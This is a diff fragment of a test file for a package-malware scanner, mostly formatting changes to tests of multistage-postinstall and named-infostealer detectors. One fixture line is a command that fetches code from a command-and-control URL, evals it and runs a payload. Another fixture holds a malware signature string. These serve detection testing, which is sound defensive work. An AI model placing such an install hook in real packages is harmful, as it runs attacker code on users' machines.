+ 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
93
98
  },
94
99
  };
95
100
  const findings = await detectors.runAll(pkg);
96
- const d6bMatches = findings.filter(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
101
+ const d6bMatches = findings.filter((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
97
102
  assert(d6bMatches.length > 0, 'Expected at least one TIER1-MULTISTAGE-POSTINSTALL finding');
98
103
  assert.equal(d6bMatches[0].id, 'TIER1-MULTISTAGE-POSTINSTALL');
99
104
  assert(d6bMatches[0].id !== 'ATK-003');
@@ -105,12 +110,17 @@ describe('D6b — tier1-multistage-postinstall', () => {
105
110
  describe('D2 — named signature', () => {
106
111
  test('D2 Miasma signature: detects "Miasma: The Spreading Blight" → CRITICAL', async () => {
107
112
  const pkg = { name: 'test-pkg', version: '1.0.0' };
108
- const jsFiles = [{ path: 'evil.js', content: 'const id = "Miasma: The Spreading Blight"; doEvil();' }];
113
+ const jsFiles = [
114
+ { path: 'evil.js', content: 'const id = "Miasma: The Spreading Blight"; doEvil();' },
115
+ ];
109
116
  const findings = await detectors.runAll(pkg, jsFiles, {}, []);
110
- const match = findings.find(f => f.id === 'TIER1-INFOSTEALER');
117
+ const match = findings.find((f) => f.id === 'TIER1-INFOSTEALER');
111
118
  assert(match, 'Expected TIER1-INFOSTEALER finding from Miasma signature');
112
119
  assert.equal(match.confidence, 'CRITICAL');
113
120
  assert.equal(match.confidenceScore, 98);
114
- assert(match.evidence.some(e => e.includes('Miasma: The Spreading Blight')), 'evidence should contain the signature string');
121
+ assert(
122
+ match.evidence.some((e) => e.includes('Miasma: The Spreading Blight')),
123
+ 'evidence should contain the signature string'
124
+ );
115
125
  });
116
126
  });